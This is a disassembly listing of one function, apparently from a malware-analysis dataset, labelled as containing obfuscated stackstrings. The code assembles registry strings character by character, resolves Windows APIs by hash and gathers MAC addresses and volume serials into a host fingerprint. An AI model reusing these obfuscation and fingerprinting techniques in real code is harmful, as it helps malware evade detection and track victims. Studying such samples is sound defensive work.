Function at 0x411a8d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x564
push esi
push edi
mov edi, 0x400
push edi
call fcn.00402b7c
mov esi, eax
pop ecx
test esi, esi
je 0x411f16
push ebx
push edi
push 0
push esi
call fcn.00402b4e
push 0x53
pop eax
push 0x6f
pop edx
push 0x66
mov byte [esi], 0
mov word [ebp - 0xb0], ax
pop eax
push 0x74
mov word [ebp - 0xac], ax
pop eax
push 0x77
mov word [ebp - 0xaa], ax
pop eax
push 0x61
mov word [ebp - 0xa8], ax
pop eax
push 0x72
pop ebx
push 0x65
mov word [ebp - 0xa6], ax
pop eax
push 0x5c
mov word [ebp - 0xa2], ax
pop eax
push 0x56
mov word [ebp - 0xa0], ax
pop eax
push 0x42
pop edi
push 0x20
pop ecx
push 0x61
mov word [ebp - 0x9e], ax
pop eax
push 0x6e
mov word [ebp - 0x98], ax
pop eax
push 0x64
mov word [ebp - 0x96], ax
pop eax
push 0x56
mov word [ebp - 0x94], ax
pop eax
push 0x41
mov word [ebp - 0x90], ax
pop eax
push 0x50
mov word [ebp - 0x9c], di
mov word [ebp - 0x8e], di
pop edi
push 0x67
mov word [ebp - 0xae], dx
mov word [ebp - 0x84], dx
pop edx
push 0x61
mov word [ebp - 0x8c], ax
pop eax
push 0x6d
mov word [ebp - 0x7e], ax
pop eax
push 0x53
mov word [ebp - 0x7c], ax
pop eax
push 0x65
mov word [ebp - 0x78], ax
mov word [ebp - 0xa4], bx
mov word [ebp - 0x9a], cx
mov word [ebp - 0x92], cx
mov word [ebp - 0x8a], cx
mov word [ebp - 0x88], di
mov word [ebp - 0x86], bx
mov word [ebp - 0x82], dx
mov word [ebp - 0x80], bx
mov word [ebp - 0x7a], cx
pop eax
push 0x74
mov word [ebp - 0x76], ax
pop eax
push 0x69
pop ecx
push 0x6e
mov word [ebp - 0x74], ax
mov word [ebp - 0x72], ax
pop eax
push 0x73
pop ebx
push 0x5c
mov word [ebp - 0x6e], ax
pop eax
push 0x6c
mov word [ebp - 0x68], ax
pop eax
push 0x75
mov word [ebp - 0x64], ax
pop eax
push 0x6e
mov word [ebp - 0x62], ax
xor eax, eax
mov word [ebp - 0x5a], ax
mov word [ebp - 0x66], di
pop edi
push 0x49
mov word [ebp - 0x6c], dx
mov word [ebp - 0x60], dx
pop edx
push 0x74
pop eax
push 0x61
mov word [ebp - 0x32], ax
pop eax
push 0x63
mov word [ebp - 0x30], ax
mov word [ebp - 0x70], cx
mov word [ebp - 0x5e], cx
pop ecx
push 0x65
pop eax
push 0x41
mov word [ebp - 0x2a], ax
pop eax
mov word [ebp - 0x28], ax
xor eax, eax
push 0x74
mov word [ebp - 0x26], ax
pop eax
push 0x61
mov word [ebp - 0x1e], ax
pop eax
push 0x65
mov word [ebp - 0x1c], ax
pop eax
mov word [ebp - 0x16], ax
push 0x42
pop eax
mov word [ebp - 0x14], ax
xor eax, eax
mov word [ebp - 0x6a], bx
mov word [ebp - 0x34], bx
mov word [ebp - 0x20], bx
mov ebx, closesocket
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x38]
push ebx
push eax
lea eax, [ebp - 0xb0]
mov word [ebp - 0x5c], di
push eax
mov word [ebp - 0x38], dx
mov word [ebp - 0x36], di
mov word [ebp - 0x2e], di
mov word [ebp - 0x2c], cx
mov word [ebp - 0x24], dx
mov word [ebp - 0x22], di
mov word [ebp - 0x1a], di
mov word [ebp - 0x18], cx
call fcn.00404ada
mov edi, eax
lea eax, [ebp - 0x24]
push ebx
push eax
lea eax, [ebp - 0xb0]
push eax
call fcn.00404ada
add esp, 0x24
test edi, edi
je 0x411f0c
test eax, eax
je 0x411f0c
movdqa xmm0, xmmword [0x418800]
xor ebx, ebx
push 0x53
pop ecx
push eax
push edi
lea eax, [ebp - 0x108]
mov word [ebp - 0xf8], 0x3b
movdqu xmmword [ebp - 0x108], xmm0
push eax
movdqa xmm0, xmmword [str.MAC_02X_02X_02XINSTALL_08X_08Xk]
push esi
movdqu xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], 0x58323025
mov dword [ebp - 0x44], 0x58323025
mov dword [ebp - 0x40], 0x58323025
mov word [ebp - 0x3c], 0x3b
mov byte [ebp - 0x10], cl
mov byte [ebp - 0xf], 0x59
mov byte [ebp - 0xe], cl
mov dword [ebp - 0xd], 0x3d4c4f56
mov dword [ebp - 9], 0x58383025
mov word [ebp - 5], 0x3b
call fcn.00405d0b
pop ecx
add eax, esi
push eax
call fcn.00405eb6
push 0x40
lea eax, [ebp - 0xf4]
push ebx
push eax
call fcn.00402b4e
add esp, 0x1c
mov byte [ebp - 0xf4], 0x37
lea eax, [ebp - 0x208]
mov dword [ebp - 0xf0], eax
mov eax, 0x100
mov word [ebp - 0xec], ax
push ebx
push ebx
push 0xc2eeda2d
push 6
call fcn.004031e5
lea ecx, [ebp - 0xf4]
push ecx
call eax
test eax, eax
jne 0x411ea8
cmp byte [ebp - 0x208], bl
jbe 0x411ea6
xor edi, edi
push 0x40
lea eax, [ebp - 0xf4]
push edi
push eax
call fcn.00402b4e
mov al, byte [ebp + ebx - 0x207]
add esp, 0xc
mov byte [ebp - 0xf4], 0x32
mov byte [ebp - 0xc4], al
push edi
push edi
push 0xc2eeda2d
push 6
call fcn.004031e5
lea ecx, [ebp - 0xf4]
push ecx
call eax
test eax, eax
je 0x411e96
push 0x40
lea eax, [ebp - 0xf4]
push edi
push eax
call fcn.00402b4e
mov eax, 0x20202020
lea edi, [ebp - 0xea]
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov al, byte [ebp + ebx - 0x207]
xor edi, edi
push edi
mov byte [ebp - 0xc4], al
lea eax, [ebp - 0x564]
push edi
mov dword [ebp - 0xf0], eax
mov eax, 0x258
push 0xc2eeda2d
push 6
mov byte [ebp - 0xf4], 0x33
mov byte [ebp - 0xea], 0x2a
mov word [ebp - 0xec], ax
call fcn.004031e5
lea ecx, [ebp - 0xf4]
push ecx
call eax
test eax, eax
je 0x411e96
movzx eax, byte [ebp - 0x55f]
push eax
movzx eax, byte [ebp - 0x560]
push eax
movzx eax, byte [ebp - 0x561]
push eax
movzx eax, byte [ebp - 0x562]
push eax
movzx eax, byte [ebp - 0x563]
push eax
movzx eax, byte [ebp - 0x564]
push eax
lea eax, [ebp - 0x58]
push eax
push esi
call fcn.00405d0b
pop ecx
add eax, esi
push eax
call fcn.00405eb6
add esp, 0x20
movzx eax, byte [ebp - 0x208]
inc ebx
cmp ebx, eax
jl 0x411d9a
xor ebx, ebx
push ebx
push ebx
push 0xde99d609
push ebx
call fcn.004031e5
push 0x104
lea ecx, [ebp - 0x30c]
push ecx
call eax
push ebx
push ebx
push 0xe032d305
push ebx
mov byte [ebp - 0x309], bl
call fcn.004031e5
push ebx
push ebx
push ebx
push ebx
lea ecx, [ebp - 0xb4]
push ecx
push ebx
push ebx
lea ecx, [ebp - 0x30c]
push ecx
call eax
push dword [ebp - 0xb4]
lea eax, [ebp - 0x10]
push eax
push esi
call fcn.00405d0b
pop ecx
add eax, esi
push eax
call fcn.00405eb6
add esp, 0xc
mov eax, esi
jmp 0x411f15
push esi
call fcn.00402bab
pop ecx
xor eax, eax
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret